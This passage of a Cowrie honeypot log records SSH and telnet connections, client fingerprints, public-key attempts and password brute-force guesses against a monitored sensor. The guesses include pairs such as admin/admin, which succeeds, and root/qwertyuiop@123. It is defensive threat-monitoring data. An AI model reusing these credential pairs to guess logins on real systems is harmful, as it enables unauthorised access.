AAAAB3NzaC1yc2EAAAADAQABAAACAQCyzX41ljtmW6VVnoKiesrP2S8P3PP3J9xO8ptMASYs7ZpecsexOTKxDAIPxLx1tsObb3PApygnX4cP6PL0Ro6S/DPS0i0zZFU4Da77VYv8YRtnAZAF6RVgyapfnh6qgu+EGeU0XQObXQiPIFx/UM59OWVm2xb+l5HjvzbzzkYHHv7fuLaMrHSiGkWJ4VL81OiLgUbFgdGlt5OfdFDqqqQqIpI6MvVPPKkZQ/bzZpuAioWu736pBt+4UA9hhG4MNIhxAi46YenBNrmJ0iQ2JELHGjTwZwzFws/g+MzW+3CneC8wLdLY6fUv+vOd/PfyNGZu5NDOVLNciN8kV8it43ZRFyLX8JY6mYWD8544AF7j1LL/1la4xpxQGuFC/8EkgoO3dh52JISJuK2pxxiyARZuhTW4hKnnfdQHWfsP4VcuucsFvJe0Lfgi2+zoLu9CgTh0CAlQX6t+88T5LhmVMBlghushYeewvYx5XHqSAHY7S9nkuo5EoOOzbkkFkX86FCEsR5Xa5WI+4tbg+ay04Uz0EbZO4GimkRt6R9my8TqyHcWR0qcPSCm43FTEFPciWTQGAfuZot2142tkjdrBl0AzciiSeyd9ibMmS4nzOCi+xcBrWtiknjd/Hsli2kv9EtKdRZFvFEVDu/aAVfjf48JVy0X2EmlO7BDlQdN5JkcwOQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.237380Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cc:2d:9e:54:66:40:8c:63:3f:1d:e8:7c:33:c7:ff:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyxoyodbJXA/7GXd+W5Ys1FgyFkHgXf3vVUKt3wEHGCTHAQ/qksl2a9n1MC0RJnB3IN62AhvjEOTpzCO8d5OAXgh2rssG72/7iZLpUIQDIJti4itTEsPtfjyOM5oBOu+CDhETTiNAEeCX2ncXehYcL+JA9SgarsgkYOQHgGR+I4zKTE+kZzjUZrLX1BxaFcY4rvxwWWcCShn6HnRVVM1vb6wmrde229XnIpWwAPZfV70cnu1ezeUHKz4eBEm+J6x58L3z/BLH5DTz7JP+g0gIbCqv++yBxMelBDBFJ1KM/zGs8TUWHZnz9nJDL37d9K2vBGdfOobZbW/HU31kyamEVw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cc:2d:9e:54:66:40:8c:63:3f:1d:e8:7c:33:c7:ff:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.326739Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cc:2d:9e:54:66:40:8c:63:3f:1d:e8:7c:33:c7:ff:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyxoyodbJXA/7GXd+W5Ys1FgyFkHgXf3vVUKt3wEHGCTHAQ/qksl2a9n1MC0RJnB3IN62AhvjEOTpzCO8d5OAXgh2rssG72/7iZLpUIQDIJti4itTEsPtfjyOM5oBOu+CDhETTiNAEeCX2ncXehYcL+JA9SgarsgkYOQHgGR+I4zKTE+kZzjUZrLX1BxaFcY4rvxwWWcCShn6HnRVVM1vb6wmrde229XnIpWwAPZfV70cnu1ezeUHKz4eBEm+J6x58L3z/BLH5DTz7JP+g0gIbCqv++yBxMelBDBFJ1KM/zGs8TUWHZnz9nJDL37d9K2vBGdfOobZbW/HU31kyamEVw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.330215Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:27:d6:31:81:e6:32:24:54:6d:cb:e6:74:d2:d0:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpa3xOoB7c8IH7O3R4npPrf1iviDbNQsl2p1TAshPpj6UQQulK9SH9rU7kv8cxXrTuUJsh2VNntTlxWAHxnOTWhHHPWdAN6kZ/1/zT+KIvTJjN+RUpYgjVuLWI/rXOGbb0Qf/T6rXusGdu/BKQEph1Er+vQ6U1j6C5wYp5LIXVF4xkE7VgXiWlBJeZTVvRR7/JcGH6ZkkWZsG25g6AO2i/tuz4bZuhPSbmQCRPPjRt4M9nptHuQpFNSR2QNqpSyAAHM70mwJdv6lXzeX6MhaRr8/KzBblMl/0T1OpHi3MzPWguBoP4uGI6gTbHyLTsInwqP6zKmP4hHmlsP/b1YFRN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:27:d6:31:81:e6:32:24:54:6d:cb:e6:74:d2:d0:0c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.474385Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:27:d6:31:81:e6:32:24:54:6d:cb:e6:74:d2:d0:0c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpa3xOoB7c8IH7O3R4npPrf1iviDbNQsl2p1TAshPpj6UQQulK9SH9rU7kv8cxXrTuUJsh2VNntTlxWAHxnOTWhHHPWdAN6kZ/1/zT+KIvTJjN+RUpYgjVuLWI/rXOGbb0Qf/T6rXusGdu/BKQEph1Er+vQ6U1j6C5wYp5LIXVF4xkE7VgXiWlBJeZTVvRR7/JcGH6ZkkWZsG25g6AO2i/tuz4bZuhPSbmQCRPPjRt4M9nptHuQpFNSR2QNqpSyAAHM70mwJdv6lXzeX6MhaRr8/KzBblMl/0T1OpHi3MzPWguBoP4uGI6gTbHyLTsInwqP6zKmP4hHmlsP/b1YFRN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.479208Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:24.568971Z","src_ip":"89.38.96.216","session":"1ffe654ff889","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.75.206.21","src_port":59774,"dst_ip":"10.17.0.5","dst_port":23,"session":"62d2d2ea2087","protocol":"telnet","message":"New connection: 196.75.206.21:59774 (10.17.0.5:23) [session: 62d2d2ea2087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:26.382786Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63174,"dst_ip":"10.17.0.5","dst_port":22,"session":"8221f18f1940","protocol":"ssh","message":"New connection: 87.251.64.176:63174 (10.17.0.5:22) [session: 8221f18f1940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:28.226216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:28.230753Z","src_ip":"87.251.64.176","session":"8221f18f1940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":55274,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0b9fb4ffba5","protocol":"ssh","message":"New connection: 202.145.0.61:55274 (10.17.0.5:22) [session: a0b9fb4ffba5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:28.264781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:28.269557Z","src_ip":"202.145.0.61","session":"a0b9fb4ffba5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:28.346662Z","src_ip":"87.251.64.176","session":"8221f18f1940","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:28.503227Z","src_ip":"202.145.0.61","session":"a0b9fb4ffba5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:28.761315Z","src_ip":"87.251.64.176","session":"8221f18f1940","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:28.924792Z","session":"8221f18f1940","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:29.074082Z","src_ip":"87.251.64.176","session":"8221f18f1940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:29.177255Z","src_ip":"87.251.64.176","session":"8221f18f1940","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@4321","message":"login attempt [ubuntu/ubuntu@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:29.474322Z","src_ip":"202.145.0.61","session":"a0b9fb4ffba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:30.711517Z","src_ip":"202.145.0.61","session":"a0b9fb4ffba5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.242281436920166,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:37:39.624936Z","src_ip":"196.75.206.21","session":"62d2d2ea2087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":45196,"dst_ip":"10.17.0.5","dst_port":22,"session":"902411e46ced","protocol":"ssh","message":"New connection: 103.84.236.222:45196 (10.17.0.5:22) [session: 902411e46ced]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:01.649685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:01.654825Z","src_ip":"103.84.236.222","session":"902411e46ced","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:01.888631Z","src_ip":"103.84.236.222","session":"902411e46ced","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop@123","message":"login attempt [root/qwertyuiop@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:02.854513Z","src_ip":"103.84.236.222","session":"902411e46ced","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:04.091057Z","src_ip":"103.84.236.222","session":"902411e46ced","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":22721,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed273db8db19","protocol":"ssh","message":"New connection: 213.209.159.56:22721 (10.17.0.5:22) [session: ed273db8db19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:13.075398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:13.114985Z","src_ip":"213.209.159.56","session":"ed273db8db19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:13.193717Z","src_ip":"213.209.159.56","session":"ed273db8db19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester","message":"login attempt [chester/chester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:13.555600Z","src_ip":"213.209.159.56","session":"ed273db8db19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester1","message":"login attempt [chester/chester1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:14.641097Z","src_ip":"213.209.159.56","session":"ed273db8db19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester123","message":"login attempt [chester/chester123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:15.726868Z","src_ip":"213.209.159.56","session":"ed273db8db19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester1234","message":"login attempt [chester/chester1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:16.812582Z","src_ip":"213.209.159.56","session":"ed273db8db19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chester","password":"chester12345","message":"login attempt [chester/chester12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:17.897326Z","src_ip":"213.209.159.56","session":"ed273db8db19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":39358,"dst_ip":"159.203.135.109","dst_port":23,"session":"11dc45800385","protocol":"telnet","message":"New connection: 129.232.238.42:39358 (159.203.135.109:23) [session: 11dc45800385]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:18.138565Z"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:18.983109Z","src_ip":"213.209.159.56","session":"ed273db8db19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":43472,"dst_ip":"10.17.0.5","dst_port":22,"session":"01eac4ca1ec4","protocol":"ssh","message":"New connection: 202.145.0.61:43472 (10.17.0.5:22) [session: 01eac4ca1ec4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:20.172976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:20.177433Z","src_ip":"202.145.0.61","session":"01eac4ca1ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":39346,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcb5d7614d21","protocol":"telnet","message":"New connection: 129.232.238.42:39346 (159.203.135.109:23) [session: dcb5d7614d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:20.345670Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:20.416639Z","src_ip":"202.145.0.61","session":"01eac4ca1ec4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passw0rd","message":"login attempt [test/passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:21.406171Z","src_ip":"202.145.0.61","session":"01eac4ca1ec4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:22.648263Z","src_ip":"202.145.0.61","session":"01eac4ca1ec4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.57.208","src_port":43286,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca8c2fe3d468","protocol":"telnet","message":"New connection: 8.219.57.208:43286 (10.17.0.5:23) [session: ca8c2fe3d468]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:43.695449Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57918,"dst_ip":"10.17.0.5","dst_port":22,"session":"16305beb76e9","protocol":"ssh","message":"New connection: 103.15.226.202:57918 (10.17.0.5:22) [session: 16305beb76e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:47.515564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:47.520561Z","src_ip":"103.15.226.202","session":"16305beb76e9","protocol":"ssh"}
